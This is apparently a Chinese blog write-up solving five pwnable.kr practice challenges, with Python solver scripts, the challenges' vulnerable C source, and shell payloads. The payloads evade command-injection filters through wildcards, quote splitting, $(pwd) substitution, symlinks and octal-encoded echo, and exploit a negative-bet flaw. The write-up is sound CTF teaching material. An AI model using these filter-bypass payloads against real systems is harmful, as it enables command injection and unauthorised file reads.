Pwnable之[Toddler's Bottle](二)

Pwnable之[Toddler’s Bottle](2)

Pwn挑战地址

11.coin1

nc 连上。

这里写图片描述
要你玩一个游戏,游戏的规则是:
你手里拿了几枚金币。
然而,其中有一枚假币。
假币和真币一模一样。
然而,它的重量不同于真正的重量。
真币重10,假币重达9
帮我找一个带刻度的假币
如果你发现100个假币,你将得到奖励:
还有,你有30秒的时间。

比如,n=4 c= 2 4个硬币,2次验证的机会
输入:0 1 #验证第一个第二个硬币
回显:20
输入:3 #验证第4个硬币
回显:10
那么答案就是2,第三个硬币是假的了
输入:2
回显:Correct

重复获得100次Correct就可以得到flag。

OK,典型的二分法。
代码走起:

#coding:utf-8
from pwn import *
import re
def get_weight(st,en,r):
    send_str=""
    if(st==en):
        send_str=str(en)
    else:
        for i in range(st,en+1):
            send_str=send_str+str(i)+" "
    r.sendline(send_str)
    ret=r.recvline()
    #print '[*]','-'*18," ",ret
    return int(ret)
def choose_coin(num,cha,r):
    start=0
    end=num-1
    all_weight=0
    for i in range(0,cha):
        #print str(i),'~'*10,'test'," ",start,end
        all_weight=get_weight(start,int((start+end)/2),r)
        if(all_weight%10==0):
            start=int((start+end)/2)
        else:
            end=int((start+end)/2)
    #print 'this is end:',str(end)
    r.sendline(str(end))
    print '[+] Server:',r.recvline()

r=remote('pwnable.kr',9007)
print r.recv()
for i in range(0,100):
    print '[*]','='*18," ",i," ","="*18 ,"[*]"#第一次尝试
    recvword = r.recvline()
    print "[+]server: ",recvword
    p = re.compile(r'\d+')#匹配所有的数字
    data = p.findall(recvword)
    num = int(data[0])#N
    chance = int(data[1])#C
    choose_coin(num,chance,r)
print r.recvline()
print r.recvline()

跑完你会发现,30秒根本不够,因为服务器响应时间太久了,像这样:
这里写图片描述

看了下大佬的,直接放到它服务器上跑。
需要去前面的做过的具有执行权限的地方跑。
想到了input那题的 var/tmp
登入进去跑。
发现这里没有pwn。
这里写图片描述
这时候要怎么办?

1.找到有pwn的。

又看下大佬的,需要到/tmp上。
这里要注意的是,r=remote(‘pwnable.kr’,9007)要改为r=remote(‘0.0.0.0’,9007)
响应本地服务器的9007端口。
进入/tmp
vi jaken_coin
然后执行就好。
这里写图片描述

2.改pwn 的引用为socket的。

改后的代码为:

#coding:utf-8
from socket import *
import re
def get_weight(st,en,r):
    send_str=""
    if(st==en):
        send_str=str(en)
    else:
        for i in range(st,en+1):
            send_str=send_str+str(i)+" "
    r.send(send_str+"\n")
    ret=r.recv(1024)
    #print '[*]','-'*18," ",ret
    return int(ret)
def choose_coin(num,cha,r):
    start=0
    end=num-1
    all_weight=0
    for i in range(0,cha):
        #print str(i),'~'*10,'test'," ",start,end
        all_weight=get_weight(start,int((start+end)/2),r)
        if(all_weight%10==0):
            start=int((start+end)/2)
        else:
            end=int((start+end)/2)
    #print 'this is end:',str(end)
    r.send(str(end)+"\n")
    print '[+] Server:',r.recv(1024)
r=socket(AF_INET,SOCK_STREAM)
#AF_INET表示将使用标准的ipv4地址或主机名  
#SOCK_STREAM说明这是一个TCP客户端

r.connect(('pwnable.kr',9007))
print r.recv(2048)
for i in range(0,100):
    print '[*]','='*18," ",i," ","="*18 ,"[*]"#第一次尝试
    recvword = r.recv(1024)
    print "[+]server: ",recvword
    p = re.compile(r'\d+')#匹配所有的数字
    data = p.findall(recvword)
    num = int(data[0])#N
    chance = int(data[1])#C
    choose_coin(num,chance,r)
print r.recv(1024)
r.close()

同样,吧pwnable.kr改为0.0.0.0,放到var/tmp上。
OK~
这里写图片描述

12.blackjack

blackjack又名’二十一点‘。
源代码位置在:
https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html
nc 上,玩了下这个游戏
最多玩到16000.
题目说要到100,0000万才可以给你flag。

第一个想法,刷,每次500。看看能不能刷到。
可是100,0000/500=2000
至少2000次?
发现代码有点臃肿,先放这,以后再写下:

r=remote('pwnable.kr',9009)
print r.recv()

#print '[*]','='*18," ",i," ","="*18 ,"[*]"#第一次尝试
for i in  range(0,60):
    print r.recvline()
    if(i==36):
        r.sendline("y")
    if(i==41):
        r.sendline("1")

r.sendline("1")

print r.recvline()

尝试无果后,忽然想到如果我输入-500会怎样?
这里写图片描述
然后一直按H故意输掉,会不会变为1000呢?
这里写图片描述
果然可以。
问题出现在这里:

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

没有对输入参数进行判断,如果输入-500,-(-500)就变成+500了。

那就直接-100,0000走起,然后赢一局就好了。
这里写图片描述

13.Lotto

代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r;
    r = read(0, submit, 6);

    printf("Lotto Start!\n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;     // 1 ~ 45
    }
    close(fd);

    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }

}

void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

    // menu
    unsigned int menu;

    while(1){

        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");

        scanf("%d", &menu);

        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}

代码的意思是要你输入6个字节的lotto彩票,然后从本地/dev/urandom 随机文件中读取6个文件来和你输入的对比。
其中,被对比的lotto是:

for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;     // 1 ~ 45
    }

由代码可知lotto的字符为1-45。。。
从45个字符中选中6个全对的概率是1/45^6,爆破?省省吧。
答案不可能是这样。。。
果然,问题就出现在这个判断胜利的函数里:

int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }

那两个for循环共36次对比,每次lotto中的1个符号都要和submit中所有字符进行比对,相等则match++。match=6 就获得flag。
很明显,如果我输入都是同样的,例如’#’,且lotto[6]中恰好就只有一个#字符。那么match不就等于6了吗?这种概率就是44^6/45^6~0.874.
这概率就很可观了,大概两次就可以了。
那么我们还知道。ascii的1-32是不可见字符,如32代表的就是空格。
下面就是我们可见可输入的ascii 33-45 即’!’ ~ ’ - ‘。
这里写图片描述

解题方式:
输入6个#。
这里写图片描述
两次就拿到flag了。

14.cmd1

代码:

#include <stdio.h>
#include <string.h>

int filter(char* cmd){//判断是否有"flag"、"sh"、"tmp"子串。
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/fuckyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

题目的意思是你输入一个参数运行,程序判断参数是否含有”flag”、”sh”、”tmp”子串,如果没有,则system执行第一个参数。

putenv 函数用来向环境表中 添加或者修改 环境变量。
函数原型:
这里写图片描述

当然,问题不是出在这个函数,这里只是顺便学习下,而是那个判断函数。
r += strstr(cmd, “flag”)!=0;
r += strstr(cmd, “sh”)!=0;
r += strstr(cmd, “tmp”)!=0;
是准确的匹配。
那如果我用
linux执行命令特有的
flg* 或者 拼接呢
我们用/bin/cat /home/cmd1/fla* 试试
这里写图片描述
或者 /bin/cat ‘/home/cmd1/fla’‘g’
这里写图片描述

还有一个思路是用这个cmd1程序调用另一个程序,该程序有获得falg的指令,然后在有执行权限的地方执行cmd1调用就可以直接获得flag。

例如:
cd /tmp
vi jaken

/bin/cat /home/cmd1/flag

chmod +777 jaken
/home/cmd1/cmd1 “./jaken”

15.cmd2

代码:

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}

关键还是这个函数,它过滤了‘/’,前面的方法不行了。
看了前面的cmd1除了这个方法还有改PATH和export哎,有空复现下。
那就想办法绕过‘/’。
刚开始没什么想法,后面看了下大神的提示,重点在pwd这个指令。
我们都知道pwd是输出当前路径。
那如果在跟目录的话不就是‘/’了。。。
尝试在根目录构造
./home/cmd2/cmd2 ‘“echo $(pwd)”’
发现回显:
这里写图片描述
改为:./home/cmd2/cmd2 ‘”“echo $(pwd)”“’
发现成功回显‘/’:
这里写图片描述
不知道为啥要两个””
那么后面的就简单了。
构造payload:

./home/cmd2/cmd2 '""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""'

获得flag。
然后总结下看见大佬的骚思路:
1.一样是绕过pwd,不过不在根目录,在有执行权限的/tmp,利用pwd构造出cat命令。
再利用软链接:
cat的软链接,ln -s /bin/cat cat
flag的软链接,ln -s /home/cmd2/flag flag
然后直接执行 /home/cmd2/cmd2 “$(pwd)t f*”
具体如下:
这里写图片描述

2.用echo 进制解析进行绕过
(echo 命令不通过参数 e 也可以解析出 16 进制 和 8 进制的字串,不过不同 echo 版本会对这个功能有所限制,而虚拟机 Ubuntu 16.04 的 echo 就无法解析,只有 echo -e 才能解析特殊字符)

下面构造测试:
16进制:

from pwn import *
cmd="/bin/cat home/cmd2/flag"
print "\\"+"\\".join(hex(c) for c in ordlist(cmd))

获得,

\0x2f\0x62\0x69\0x6e\0x2f\0x63\0x61\0x74\0x20\0x2f\0x68\0x6f\0x6d\0x65\0x2f\0x63\0x6d\0x64\0x32\0x2f\0x66\0x6c\0x61\0x67

用8进制:

from pwn import *
cmd="/bin/cat /home/cmd2/flag"
print "\\"+"\\".join(oct(c) for c in ordlist(cmd))

得到,

\057\0142\0151\0156\057\0143\0141\0164\040\057\0150\0157\0155\0145\057\0143\0155\0144\062\057\0146\0154\0141\0147

测试下:
这里写图片描述
发现8进制成功解析。
那么就可以构造:

./cmd2 '$(echo -e "\057\0142\0151\0156\057\0143\0141\0164\040\057\0150\0157\0155\0145\057\0143\0155\0144\062\057\0146\0154\0141\0147")'

发现没有-e 可能是那个添加的环境没有,那就把-e去掉
如图,获得flag~
这里写图片描述

参考文章:
https://www.jianshu.com/p/c70e50710804
http://www.cnblogs.com/p4nda/p/7147552.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值